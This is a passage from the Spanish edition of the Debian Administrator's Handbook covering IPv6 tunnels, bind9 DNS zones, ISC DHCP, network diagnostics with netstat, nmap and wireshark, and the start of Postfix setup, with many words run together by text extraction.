reemplazar con el provisto porFreenet6; puede encontrarlo en lasalida de ifconfig, en el bloque sobre lainterfaz tun.

Luego ejecute /etc/init.d/tspc restart y/etc/init.d/radvd start, y la red IPv6debería funcionar.

SUGERENCIA Programasdesarrollados con IPv6

Muchas porciones de software necesitanadaptación para utilizar IPv6. La mayoríade los paquetes en Debian Squeeze yafueron adaptados, pero no todos. Unospocos voluntarios habían creado uncompendio de paquetes dedicado asoftware específicamente compilado paraIPv6; este compendio fue desmantelado

Page 1119: El Libro Del Administrador de Debian - Raphael Hertzog

en Marzo de 2007, tanto por falta detiempo como por falta de interés (ya quela mayoría de los parches habían sidointegrados en los paquetes oficiales). Sisu paquete favorito no funciona con IPv6aún, puede encontrar ayuda en la lista decorreo debian-ipv6.

→ http://lists.debian.org/debian-ipv6/

PRECAUCIÓN IPv6 y firewalls

Los túneles IPv6 sobre IPv4 (a diferenciade IPv6 nativo) necesitan que el firewallacepte el tráfico, que utiliza el número deprotocolo IPv4 41. Puede restringir lasconexiones IPv6 de la misma forma queaquellas IPv4: el núcleo Debian estándarincluye una adaptación de netfilter paraIPv6. Puede configurar esta versión de

Page 1120: El Libro Del Administrador de Debian - Raphael Hertzog

netfilter para IPv6 de forma similar a sucontraparte IPv4 utilizando el programaip6tables en lugar de iptables.

Page 1121: El Libro Del Administrador de Debian - Raphael Hertzog

10.6. Servidores denombres dedominio (DNS)

10.6.1. Principio ymecanismoEl servicio de nombres de dominio(DNS: «Domain Name Service») es uncomponente fundamental de Internet:asocia nombres de equipo condirecciones IP (y viceversa), lo quepermite utilizar www.debian.org en

Page 1122: El Libro Del Administrador de Debian - Raphael Hertzog

lugar de 82.195.75.97.

Los registros DNS se organizan enzonas; cada zona coincide con undominio (o subdominio) o un rango dedirecciones IP (ya que generalmente seproveen direcciones IP en rangosconsecutivos). Un servidor primario esautoridad sobre los contenidos de unazona; los servidores secundarios,generalmente en otras máquinas,proveen copias de la zona primariaactualizadas regularmente.

Cada zona puede contener registros devarios tipos (registros de recursos:«Resource Records»):

A: dirección IPv4.

Page 1123: El Libro Del Administrador de Debian - Raphael Hertzog

CNAME: alias (nombre canónico:«canonical name»).MX: intercambio de correo («mailexchange»), un servidor de correo.Los otros servidores de correoutilizan esta información paraencontrar a dónde redirigir losemails enviados a una direcciónparticular. Cada registro MX tieneuna prioridad. Primero se intentael servidor con mayor prioridad,con el menor número (revise elrecuadro VOLVER A LOSCIMIENTOS SMTP); se contactanlos demás servidores en ordendecreciente de prioridad si elprimero no responde.PTR: asociación de una dirección

Page 1124: El Libro Del Administrador de Debian - Raphael Hertzog

IP con un nombre. Se almacenanestos registros en una zona de«DNS inverso» cuyo nombre estábasado en el rango de direccionesIP. Por ejemplo, 1.168.192.in-addr.arpa es la zona que contienelas asociaciones inversas de todaslas direcciones en el rango192.168.1.0/24.AAAA: dirección IPv6.NS: asocia un nombre con unservidor de nombres. Cadadominio debe tener al menos unregistro NS. Estos registrosapuntan al servidor DNS quepuede responder consultas sobreeste dominio; generalmenteapuntan a los servidores primarios

Page 1125: El Libro Del Administrador de Debian - Raphael Hertzog

y secundarios del dominio. Estosregistros también permitendelegaciones de DNS; porejemplo, la zona falcot.compuede incluir un registro NS parainternal.falcot.com, lo quesignifica que otro servidoradministra la zonainternal.falcot.com. Porsupuesto, este servidor debedeclarar una zonainternal.falcot.com.

El servidor de nombres de referencia,Bind, fue desarrollado y es mantenidopor ISC (consorte de software deInternet: «Internet SoftwareConsortium»). Está disponible en

Page 1126: El Libro Del Administrador de Debian - Raphael Hertzog

Debian en el paquete bind9. La versión9 provee dos cambios importantescomparada con versiones anteriores.Primero, el servidor DNS ahora puedeejecutar como un usuario sinprivilegios para que una vulnerabilidadde seguridad en el servidor no proveapermisos de root al atacante (comopasaba frecuentemente con lasversiones 8.X).

Lo que es más, Bind es compatible conel estándar DNSSEC para firmar (y,por lo tanto, autenticar) registros DNS,lo que permite bloquear datos apócrifosdurante ataques con intermediarios(«man-in-the-middle»).

Page 1127: El Libro Del Administrador de Debian - Raphael Hertzog

CULTURA DNSSEC

La normativa DNSSEC es bastantecompleja; esto explica parcialmenteporqué no es utilizada ampliamente aún(aún si puede coexistir perfectamente conservidores DNS que no conozcan deDNSSEC). Para entender los recovecosdebería revisar el siguiente artículo.

→ http://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.6.2. ConfiguraciónArchivos de configuración de bind, sinimportar su versión, tienen la mismaestructura.

Page 1128: El Libro Del Administrador de Debian - Raphael Hertzog

Los administradores de Falcot crearonuna zona primaria falcot.com paraalmacenar información relacionada coneste dominio y una zona 168.192.in-addr.arpa para la asociación inversade direcciones IP en las redes locales.

PRECAUCIÓN Nombres de zonasinversas

Las zonas inversas tiene un nombreparticular. La zona que cubre la red192.168.0.0/16 necesita llamarse168.192.in-addr.arpa: se invierten loscomponentes de la dirección IP seguidosdel sufijo in-addr.arpa.

SUGERENCIA Pruebas del servidor

Page 1129: El Libro Del Administrador de Debian - Raphael Hertzog

DNS

El programa host (en el paquete bind9-host) consulta un servidor DNS y puedeutilizarse para probar la configuración delservidor. Por ejemplo, hostmaquina.falcot.com localhost revisa larespuesta del servidor local a la consultapor maquina.falcot.com. hostdireccion.ip localhost prueba laresolución inversa.

Los siguientes extractos deconfiguración, de los archivos deFalcot, pueden servirle como punto departida para configurar un servidorDNS:

Example 10.11. Extracto de

Page 1130: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/bind/named.conf.local

zone "falcot.com" {

type master;

file "/etc/bind/db.falcot.com";

allow-query { any; };

allow-transfer {

195.20.105.149/32 ; // ns0.xname.org

193.23.158.13/32 ; // ns1.xname.org

};

};

zone "internal.falcot.com" {

type master;

file "/etc/bind/db.internal.falcot.com";

allow-query { 192.168.0.0/16; };

};

zone "168.192.in-addr.arpa" {

type master;

file "/etc/bind/db.192.168";

allow-query { 192.168.0.0/16; };

Page 1131: El Libro Del Administrador de Debian - Raphael Hertzog

};

Example 10.12. Extracto de/etc/bind/db.falcot.com

; Zona falcot.com

; admin.falcot.com. => contacto de la zona: [email protected]

$TTL 604800

@ IN SOA falcot.com. admin.falcot.com. (

20040121 ; Serial

604800 ; Refresco

86400 ; Reintento

2419200 ; Expiración

604800 ) ; TTL de caché negativo

;

; El @ hace referencia al nombre de la zona («falcot.com» aquí)

; o a $ORIGIN (origen) si se utilizó esta directiva

;

@ IN NS ns

@ IN NS ns0.xname.org.

interne IN NS 192.168.0.2

@ IN A 212.94.201.10

Page 1132: El Libro Del Administrador de Debian - Raphael Hertzog

@ IN MX 5 mail

@ IN MX 10 mail2

ns IN A 212.94.201.10

mail IN A 212.94.201.10

mail2 IN A 212.94.201.11

www IN A 212.94.201.11

dns IN CNAME ns

PRECAUCIÓN Sintaxis de un nombre

La sintaxis de los nombres de máquinasdeben adherirse a reglas estrictas. Porejemplo, maquina implicamaquina.dominio. Si no se debe agregar elnombre de dominio a un nombre, debeescribir dicho nombre como maquina.(con un punto de sufijo). Por lo tanto,indicar un nombre DNS fuera del dominioactual necesita una sintaxis comomaquina.otrodominio.com. (con el punto

Page 1133: El Libro Del Administrador de Debian - Raphael Hertzog

final).

Example 10.13. Extracto de/etc/bind/db.192.168

; Zona inversa para 192.168.0.0/16

; admin.falcot.com. => contacto de la zona: [email protected]

$TTL 604800

@ IN SOA ns.interne.falcot.com. admin.falcot.com. (

20040121 ; Serial

604800 ; Refresco

86400 ; Reintento

2419200 ; Expiración

604800 ) ; TTL de caché negativo

IN NS ns.interne.falcot.com.

; 192.168.0.1 -> arrakis

1.0 IN PTR arrakis.interne.falcot.com.

; 192.168.0.2 -> neptune

2.0 IN PTR neptune.interne.falcot.com.

Page 1134: El Libro Del Administrador de Debian - Raphael Hertzog

; 192.168.3.1 -> pau

1.3 IN PTR pau.interne.falcot.com.

Page 1135: El Libro Del Administrador de Debian - Raphael Hertzog

10.7. DHCP

10.7.1. PresentaciónDHCP (procolo de configuracióndinámica de equipos: «Dynamic HostConfiguration Protocol») es unprotocolo mediante el cual unamáquina puede obtener suconfiguración de red automáticamenteal iniciar. Esto permite centralizar laadministración de las configuracionesde red y asegurar que todos los equiposde escritorio obtengan configuracionessimilares.

Page 1136: El Libro Del Administrador de Debian - Raphael Hertzog

Un servidor DHCP provee muchosparámetros relacionados con la red.Los más comunes son una dirección IPy la red a la que pertenece el equipo,pero también puede proveer otrainformación como servidores DNS,servidores WINS, servidores NTP ymás.

El Internet Software Consortium(involucrado también en el desarrollode bind) es el autor principal delservidor DHCP. El paquete Debiancorrespondiente es isc-dhcp-server.

10.7.2. Configuración

Page 1137: El Libro Del Administrador de Debian - Raphael Hertzog

El primer elemento que necesita editaren el archivo de configuración delservidor DHCP(/etc/dhcp/dhcpd.conf) son elnombre de dominio y servidores DNS.Si el servidor es el único en la red local(definido en la propagación dedifusión), de activar (o descomentar) ladirectiva authoritative. Tambiénnecesita crear una sección subnet(subred) describiendo la red local y lainformación de configuración queproveerá. El siguiente ejemplo defineuna red local 192.168.0.0/24 con unrouter en 192.168.0.1 como puerta deenlace. Las direcciones IP disponiblesestán en el rango 192.168.0.128 a192.168.0.254.

Page 1138: El Libro Del Administrador de Debian - Raphael Hertzog

Example 10.14. Extracto de/etc/dhcp/dhcpd.conf

#

# Archivo de configuración de ejemplo para el dhcpd ISC para Debian

#

# El parámetro ddns-updates-style controla si el servidor intentará o no

# una actualización de DNS cuando se confirme la asignación. Utilizamos

# el comportamiento predeterminado de la versión 2 de paquetes ('none',

# ya que DHCP v2 no era compatible con DDNS).

ddns-update-style interim;

# definición de opciones comunes a todas las redes...

option domain-name "internal.falcot.com";

option domain-name-servers ns.internal.falcot.com;

default-lease-time 600;

max-lease-time 7200;

# Si este servidor DHCP es el servidor DHCP oficial para la red local,

# debe descomentar la directiva «authoritative».

Page 1139: El Libro Del Administrador de Debian - Raphael Hertzog

authoritative;

# Utilice esto para enviar mensajes de registro dhcp a un archivo de

# registro distinto (también deberá modificar syslog.conf para completar

# la redirección).

log-facility local7;

# Mi subred

subnet 192.168.0.0 netmask 255.255.255.0 {

option routers 192.168.0.1;

option broadcast-address 192.168.0.255;

range 192.168.0.128 192.168.0.254;

ddns-domainname "internal.falcot.com";

}

10.7.3. DHCP y DNSUna buena funcionalidad es el registroautomatizado de clientes DHCP en lazona DNS para que cada máquina

Page 1140: El Libro Del Administrador de Debian - Raphael Hertzog

obtenga un nombre significativo (enlugar de algo impersonal comomaquina-192-168-0-

131.internal.falcot.com). Parautilizar esta funcionalidad necesitaconfigurar el servidor DNS para queacepte actualizaciones de la zona DNSinternal.falcot.com desde elservidor DHCP y configurar esteúltimo para que envíe actualizacionespara cada registración.

En el caso de bind, necesita agregar ladirectiva allow-update a cada una delas zonas que puede editar el servidorDHCP (sólo el dominiointernal.falcot.com y su zonainversa). Esta directiva enumera lasdirecciones IP que pueden realizar

Page 1141: El Libro Del Administrador de Debian - Raphael Hertzog

estas actualizaciones; por lo tantodeberá incluir las posibles direccionesdel servidor DHCP (tanto la direcciónlocal como la dirección pública en casoque sea apropiado).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

¡Tenga cuidado! Una zona que puedaser modificada será modificada porbind, y éste último sobreescribirá susarchivos de configuración en intervalosregulares. Debido a que esteprocedimiento automatizado generaarchivos que son menos legibles queaquellos escritos manualmente, losadministradores de Falcot administranel dominio internal.falcot.com con

Page 1142: El Libro Del Administrador de Debian - Raphael Hertzog

un servidor DNS delegado; estosignifica que el archivo de la zonafalcot.com se mantiene firmementebajo su control manual.

El extracto de la configuración delservidor DHCP anterior ya incluye lasdirectivas necesarias para lasactualizaciones de la zona DNS: son laslíneas ddns-update-style interim;y ddns-domain-name"internal.falcot.com"; en elbloque que describe la subred.

Page 1143: El Libro Del Administrador de Debian - Raphael Hertzog

10.8. Herramientasde diagnóstico deredCuando una aplicación de red nofunciona como esperamos esimportante poder ver «bajo el capó».Aún cuando todo parezca estarfuncionando, realizar un diagnóstico dered puede ayudar a asegurar que todoestá funcionando como debe. Existenmuchas herramientas de diagnósticopara este propósito, cada una de lascuales opera en un nivel diferente.

Page 1144: El Libro Del Administrador de Debian - Raphael Hertzog

10.8.1. Diagnósticolocal: netstatMencionemos primero el programanetstat (en el paquete net-tools);muestra un resumen instantáneo de laactividad de red de una máquina.Cuando lo ejecute sin parámetros,mostrará todas las conexiones abiertas;esta lista puede ser demasiadodetallada ya que incluye muchoszócalos de dominio Unix (utilizadosampliamente por demonios) que noincluyen la red en absoluto (porejemplo, la comunicación de dbus,tráfico X11 y comunicaciones entresistemas de archivos virtuales y el

Page 1145: El Libro Del Administrador de Debian - Raphael Hertzog

escritorio).

Por lo tanto, invocaciones usualesutilizan opciones que modifican elcomportamiento de netstat. Lasopciones utilizadas másfrecuentemente incluyen:

-t, que filtra los resultados paraincluir sólamente conexionesTCP;-u, que realiza algo similar por lasconexiones UDP; estas opcionesno son mutuamente excluyentes yuna de ellas es suficiente paraevitar mostrar información sobreconexiones de dominio Unix;-a, para mostrar también los

Page 1146: El Libro Del Administrador de Debian - Raphael Hertzog

zócalos que están escuchando (queesperan conexiones entrantes);-n, para mostrar los resultadosnuméricamente: direcciones IP(sin resolución DNS), números depuerto (sin alias definidos en/etc/services) y IDs de usuario(sin nombres de usuario);-p, enumerar los procesosinvolucrados; esta opción sólo esútil cuando ejecute netstat comoroot ya que los usuarios normalessólo verán sus propios procesos;-c, para actualizar continuamentela lista de conexiones.

Otras opciones, documentadas en lapágina de manual netstat(8), proveen

Page 1147: El Libro Del Administrador de Debian - Raphael Hertzog

un control más granular en losresultados mostrados. En la práctica,lasprimeras cinco opciones son utilizadasjuntas tan seguido que losadministradores de sistemas y red tieneel acto reflejo de ejecutar netstat -tupan. Los resultados típicos, en unamáquina con poca carga, puedenparecerse a lo siguiente:

# netstat -tupan

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2224/sshd

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 994/exim4

tcp 0 0 192.168.1.241:22 192.168.1.128:47372 ESTABLISHED 2944/sshd: roland [

tcp 0 0 192.168.1.241:22 192.168.1.128:32970 ESTABLISHED 2232/sshd: roland [

tcp6 0 0 :::22 :::* LISTEN 2224/sshd

tcp6 0 0 ::1:25 :::* LISTEN 994/exim4

Page 1148: El Libro Del Administrador de Debian - Raphael Hertzog

udp 0 0 0.0.0.0:68 0.0.0.0:* 633/dhclient

udp 0 0 192.168.1.241:123 0.0.0.0:* 764/ntpd

udp 0 0 127.0.0.1:123 0.0.0.0:* 764/ntpd

udp 0 0 0.0.0.0:123 0.0.0.0:* 764/ntpd

udp6 0 0 fe80::a00:27ff:fe6c:123 :::* 764/ntpd

udp6 0 0 2002:52e0:87e4:0:a0:123 :::* 764/ntpd

udp6 0 0 ::1:123 :::* 764/ntpd

udp6 0 0 :::123 :::* 764/ntpd

Como es esperado, enumera lasconexiones establecidas: dosconexiones SSH en este caso y lasaplicaciones esperando conexionesentrantes (mostradas como LISTEN),notablemente el servidor de correoExim4 está escuchando en el puerto 25.

10.8.2. Diagnóstico

Page 1149: El Libro Del Administrador de Debian - Raphael Hertzog

remoto: nmapnmap (en el paquete del mismonombre) es, en cierta forma, elequivalente remoto de netstat. Puedeescanear un conjunto de puertos «muyconocidos» de uno o más servidoresremotos y enumerar los puertos dondeencontró una aplicación que respondaconexiones entrantes. Lo que es más,nmap puede identificar alguna de estasaplicaciones, a veces inclusive tambiénsu número de versión. La desventaja deesta herramienta es que, debido a queejecuta de forma remota, no puedeproveer información sobre procesos ousuarios; sin embargo, puede trabajar

Page 1150: El Libro Del Administrador de Debian - Raphael Hertzog

con varios objetivos al mismo tiempo.

Una invocación de nmap típicautilizará la opción -A (para que nmapintente identificar las versiones delsoftware de servidor que encuentre)seguido de una o más direcciones IP onombres DNS de los equipos aescanear. Nuevamente, existen muchasmás opciones que proveen un controldetallado del comportamiento denmap; revise la documentación en lapágina de manual nmap(1).

# nmap scouzmir

Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-12 18:52 CEST

Interesting ports on 192.168.1.101:

Not shown: 998 closed ports

Page 1151: El Libro Del Administrador de Debian - Raphael Hertzog

PORT STATE SERVICE

22/tcp open ssh

111/tcp open rpcbind

MAC Address: 52:54:00:99:01:01 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds

# nmap -A localhost

Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-12 18:59 CEST

Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1.

Interesting ports on localhost (127.0.0.1):

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.5p1 Debian 4 (protocol 2.0)

| ssh-hostkey: 1024 af:07:60:17:16:64:6f:ee:c4:ca:b5:64:1e:4a:4c:22 (DSA)

|_ 2048 25:b0:aa:6b:11:5a:56:b6:8d:2d:ed:b3:16:17:96:33 (RSA)

25/tcp open smtp Exim smtpd 4.72

| smtp-commands: EHLO scouzmir.internal.placard.fr.eu.org Hello localhost [127.0.0.1], SIZE 52428800, PIPELINING, HELP

|_ HELP Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP

111/tcp open rpcbind

| rpcinfo:

| 100000 2 111/udp rpcbind

Page 1152: El Libro Del Administrador de Debian - Raphael Hertzog

| 100024 1 53273/udp status

| 100000 2 111/tcp rpcbind

|_ 100024 1 41127/tcp status

No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=5.00%D=10/12%OT=22%CT=1%CU=34421%PV=N%DS=0%G=Y%TM=4CB4941A%P=i686

OS:-pc-linux-gnu)SEQ(SP=BF%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS=8)OPS(O1=M400CST1

OS:1NW4%O2=M400CST11NW4%O3=M400CNNT11NW4%O4=M400CST11NW4%O5=M400CST11NW4%O6

OS:=M400CST11)WIN(W1=8000%W2=8000%W3=8000%W4=8000%W5=8000%W6=8000)ECN(R=Y%D

OS:F=Y%T=40%W=8018%O=M400CNNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=

OS:0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=8000%S=O%A=S+%F=AS%O=M400CST11NW4%RD=0%Q=

OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=

OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF

OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=

OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 0 hops

Service Info: Host: scouzmir.internal.placard.fr.eu.org; OS: Linux

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 21.32 seconds

Page 1153: El Libro Del Administrador de Debian - Raphael Hertzog

Como es esperado, se muestran lasaplicaciones SSH y Exim4. Sepa queno todas las aplicaciones escuchan entodas las direcciones IP; debido a quesólo se puede acceder a Exim4mediante la interfaz de «loopback» lo,sólo aparecerá durante un análisis delocalhost pero no cuando se escaneascouzmir (asociado con la interfazeth0 del mismo equipo).

10.8.3. «Sniffers»:tcpdump y wiresharkA veces uno necesita revisar lo quesucede literalmente en el cable,

Page 1154: El Libro Del Administrador de Debian - Raphael Hertzog

paquete por paqutee. Estos casosrequieren un «analizador de marcos»,más comúnmente conocidos como«sniffers». Estas herramientas observantodos los paquetes en una interfaz dered dada y los muestran en una formamás amigable.

La herramienta de culto en este ámbitoes tcpdump, disponible como unaherramienta estándar en un ampliorango de plataformas. Permite muchostipos de capturas de tráfico de red, perola representación del mismo esbastante críptica. Por lo tanto no ladescribiremos en más detalle.

Una herramienta más reciente (y más

Page 1155: El Libro Del Administrador de Debian - Raphael Hertzog

moderna), wireshark (en el paquetewireshark), se está convirtiendo en lanueva referencia de análisis de tráficode red debido a sus módulos dedecodificación que permiten unanálisis simplificado de los paquetescapturados. Muestra los paquetesgráficamente, organizados basándoseen las capas de protocolos. Estopermite al usuario visualizar todos losprotocolos involucrados en un paquete.Por ejemplo, en un paquete quecontenga un pedido HTTP, wiresharkmostrará por separado la informaciónsobre la capa física, la capa Ethernet, lainformación IP del paquete, losparámetros de conexión TCP yfinalmente el pedido HTTP mismo.

Page 1156: El Libro Del Administrador de Debian - Raphael Hertzog

Figure 10.1. El analizador de tráficode red wireshark

Page 1157: El Libro Del Administrador de Debian - Raphael Hertzog

En nuestro ejemplo, filtramos lospaquetes que viajan sobre SSH (con elfiltro !tcp.port == 22). El paquetemostrado tiene expandidas las capas IPy TCP.

SUGERENCIA wireshark sin interfaz

Page 1158: El Libro Del Administrador de Debian - Raphael Hertzog

gráfica: tshark

Cuando no podemos ejecutar una interfazgráfica, o por cualquier razón nodeseamos hacerlo, existe una versión sólode texto de wireshark bajo el nombretshark (en el paquete independientetshark). La mayoría de la funcionalidadde captura y decodificación está tambiéndisponible, pero la falta de interfazgráfica limita necesariamente lainteracción con el programa (filtrarpaquetes luego de capturarlos, rastrearuna conexión TCP, etc.). Puede utilizarse,sin embargo, como primer intento. Sidesea realizar manipulaciones y necesitala interfaz gráfica, puede guardar lospaquetes en un archivo y cargarlo en unwireshark gráfico ejecutando en otramáquina.

Page 1159: El Libro Del Administrador de Debian - Raphael Hertzog

CULTURA ethereal y wireshark

wireshark parece ser bastante joven; sinembargo, sólo es el nuevo nombre de unaaplicación conocida anteriormente comoethereal. Cuando su desarrolladorprincipal abandonó la compañía para laque trabajaba no logró coordinar latransferencia de la marca registrada.Como alternativa, cambió el nombre; sóloel nombre y los íconos del softwarecambiaron en realidad.

Page 1160: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 11. Serviciosde red: Postfix,Apache, NFS,Samba, Squid,LDAPLos servicios de red son los programascon los que los usuarios interactúan ensu trabajo diario. Son la punta deliceberg del sistema de información yeste capítulo se centra en ellos; laspartes ocultas en las que se basan sonla infraestructura que ya hemos

Page 1161: El Libro Del Administrador de Debian - Raphael Hertzog

descrito anteriormente.

11.1. Servidor decorreoLos administradores de Falcot Corpeligieron Postfix como servidor decorreo electrónico debido a sufiabilidad y su facilidad deconfiguración. De hecho, su diseñofuerza a que cada tarea seaimplementada en un proceso con elmínimo conjunto de permisos, lo quees una gran medida paliativa contraproblemas de seguridad.

Page 1162: El Libro Del Administrador de Debian - Raphael Hertzog

ALTERNATIVA El servidor Exim4

Debian utiliza Exim4 como servidor decorreo predeterminado (razón por la quela instalación inicial incluye Exim4). Unpaquete diferente provee suconfiguración, exim4-config, la cual espersonalizada automáticamentebasándose en las respuestas a un conjuntode preguntas Debconf muy similares a lasque pregunta el paquete postfix.

La configuración puede estar en un únicoarchivo(/etc/exim4/exim4.conf.template) odividida en diferentes trozos que sealmacenan en el directorio/etc/exim4/conf.d/. En ninguno de losdos casos Exim4 utiliza los archivosdirectamente, sino que se unen y analizan(con el programa update-exim4.conf) y

Page 1163: El Libro Del Administrador de Debian - Raphael Hertzog

se vuelcan en el archivo/etc/exim4/exim4.conf.template (quedespués se compila en/var/lib/exim4/config.autogenerated

cuando se inicia Exim4). update-exim4.conf permite reemplazar algunasetiquetas en los archivos deconfiguración por los datos obtenidos delas respuestas a las preguntas Debconf.

La sintaxis de los archivos deconfiguración de Exim4 tiene suspeculiaridades y curva de aprendizaje.Sin embargo, una vez que se entiendenestas peculiaridades, Exim4 resulta ser unservidor de correo muy completo ypotente, como se puede apreciar en lasdecenas de páginas de documentación.

→ http://www.exim.org/docs.html

Page 1164: El Libro Del Administrador de Debian - Raphael Hertzog

11.1.1. Instalación dePostfixEl paquete postfix incluye el demonioSMTP principal. Otros paquetes (comopostfix-ldap y postfix-pgsql) añadenfuncionalidad adicional, incluyendo elacceso a bases de datos. Sólo debeinstalarlos si sabe que los necesitará.

VOLVER A LOS CIMIENTOS SMTP

SMTP (protoclo sencillo de transferenciade correo: «Simple Mail TransferProtocol») es el protocolo que utilizan losservidores de correo para intercambiar yenrutar los correos electrónicos.

Page 1165: El Libro Del Administrador de Debian - Raphael Hertzog

Durante la instalación del paquete serealizan varias preguntas Debconf. Lasrespuestas permiten crear una primeraversión del archivo de configuración/etc/postfix/main.cf.

La primera pregunta es sobre el tipo deinstalación. Sólamente dos de lasrespuestas propuestas son relevantes encaso de tener un servidor conectado aInternet: «Sitio de Internet» e «Internetcon smarthost». La primera esapropiada para un servidor que recibecorreo entrante y envía el correosaliente directamente a losdestinatarios, y por lo tanto se adapta alcaso del Falcot Corp. La segunda es

Page 1166: El Libro Del Administrador de Debian - Raphael Hertzog

apropiada para un servidor que recibecorreo de forma normal pero que envíael correo saliente a través de otroservidor SMTP intermedio — el«smarthost» — en lugar de enviarlodirectamente al servidor de losdestinatarios. Esto es especialmenteútil para individuos con una direcciónIP dinámica puesto que muchosservidores de correo rechazan losmensajes que vienen desde este tipo dedirección. En este caso, el smarthost esnormalmente el servidor SMTP del ISPque siempre suele estar configuradopara aceptar los correos provenientesde sus clientes y reenviarloscorrectamente. Este tipo de instalación(con un smarthost) también es útil para

Page 1167: El Libro Del Administrador de Debian - Raphael Hertzog

servidores que no estén conectadospermanentemente a Internet puesto queimpide tener que gestionar una cola demensajes no entregables que tienen quevolver a ser enviados más tarde.

VOCABULARIO ISP

ISP es la sigla de «Proveedor de serviciosde Internet» («Internet ServiceProvider»). Se trata de una entidad, amenudo una empresa comercial, queproporciona conexiones de Internet y losservicios básicos asociados (correoelectrónico, noticias, etc.).

La segunda pregunta es sobre elnombre completo de la máquina y se

Page 1168: El Libro Del Administrador de Debian - Raphael Hertzog

utiliza para generar las direcciones decorreo a partir de los nombres deusuario locales; el nombre completo dela máquina se convierte en la parte dela dirección que sigue a la arroba(«@»). En el caso de Falcot, larespuesta debería sermail.falcot.com. Esta es la únicapregunta que se hace de formapredeterminada, pero la configuraciónque genera no es lo suficientementecompleta para las necesidades deFalcot, por lo que los administradoresdeben ejecutar dpkg-reconfigure parapoder personalizar más parámetros.

Una de las preguntas adicionales pidelos nombres de los dominios

Page 1169: El Libro Del Administrador de Debian - Raphael Hertzog

relacionados con la máquina. La listainicial incluye su nombre completo asícomo también algunos sinónimos delocalhost, pero el dominio principalfalcot.com tiene que ser agregado deforma manual. En general se deberíanañadir todos los dominios para los queesta máquina debe ejercer comoservidor MX; en otras palabras, todoslos dominios para los cuales el DNSanuncie que la máquina aceptarácorreo. Esta información acaba siendoescrita en la variable mydestinationdel archivo de configuración principalde Postfix: /etc/postfix/main.cf.

Figure 11.1. Rol del registro DNS MXal enviar un correo

Page 1170: El Libro Del Administrador de Debian - Raphael Hertzog

EXTRA Consulta de los registros MX

Cuando no existe un registro MX para undominio en DNS, el servidor de correointentará enviar el mensaje a la direccióndel equipo directamente, utilizando para

Page 1171: El Libro Del Administrador de Debian - Raphael Hertzog

ello el registro A (o AAAA en IPv6).

En algunos casos, la instalacióntambién puede preguntar desde quéredes se permitirá enviar correo através de la máquina. En laconfiguración predeterminada, Postfixúnicamente acepta correos queprovengan desde la propia máquina;normalmente agregará la red local. Losadministradores de Falcot Corpañadieron la red 192.168.0.0/16 alvalor predeterminado. Si no se realizaesta pregunta durante la instalación, lavariable de configuracióncorrespondiente es mynetworks, tal ycomo puede verse en el ejemplo

Page 1172: El Libro Del Administrador de Debian - Raphael Hertzog

siguiente.

El correo local también puede serentregado mediante procmail. Estaherramienta permite a los usuariosclasificar su correo en función dereglas contenidas en su archivo~/.procmailrc.

Después de este paso, losadministradores obtuvieron el siguientearchivo de configuración; será usado enlas siguientes secciones como punto departida para agregar algunafuncionalidad adicional.

Example 11.1. Archivo/etc/postfix/main.cf inicial

Page 1173: El Libro Del Administrador de Debian - Raphael Hertzog

# Revise /usr/share/postfix/main.cf.dist para una versión completa

# y con comentarios

# Específico a Debian: determine el nombre del archivo cuya

# primera línea será utilizada como nombre. El valor predeterminado

# en Debian es /etc/mailname.

#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)

biff = no

# agragar .dominio es trabajo del MUA.

append_dot_mydomain = no

# Descomente la siguiente línea para generar advertencias sobre

# «correo demorado»

#delay_warning_time = 4h

# Parámetros TLS

smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem

smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key

smtpd_use_tls=yes

Page 1174: El Libro Del Administrador de Debian - Raphael Hertzog

smtpd_tls_session_cache_database = btree:${queue_directory}/smtpd_scache

smtp_tls_session_cache_database = btree:${queue_directory}/smtp_scache

# Revise /usr/share/doc/postfix/TLS_README.gz en el paquete postfix-doc

# para más información sobre cómo habilitar SSL en el cliente smtp.

myhostname = mail.falcot.com

alias_maps = hash:/etc/aliases

alias_database = hash:/etc/aliases

myorigin = /etc/mailname

mydestination = mail.falcot.com, falcot.com, localhost, localhost.localdomain

relayhost =

mynetworks = 127.0.0.0/8 192.168.0.0/16

mailbox_command = procmail -a "$EXTENSION"

mailbox_size_limit = 0

recipient_delimiter = +

inet_interfaces = all

inet_protocols = all

SEGURIDAD Certificados SSL de Snakeoil

Page 1175: El Libro Del Administrador de Debian - Raphael Hertzog

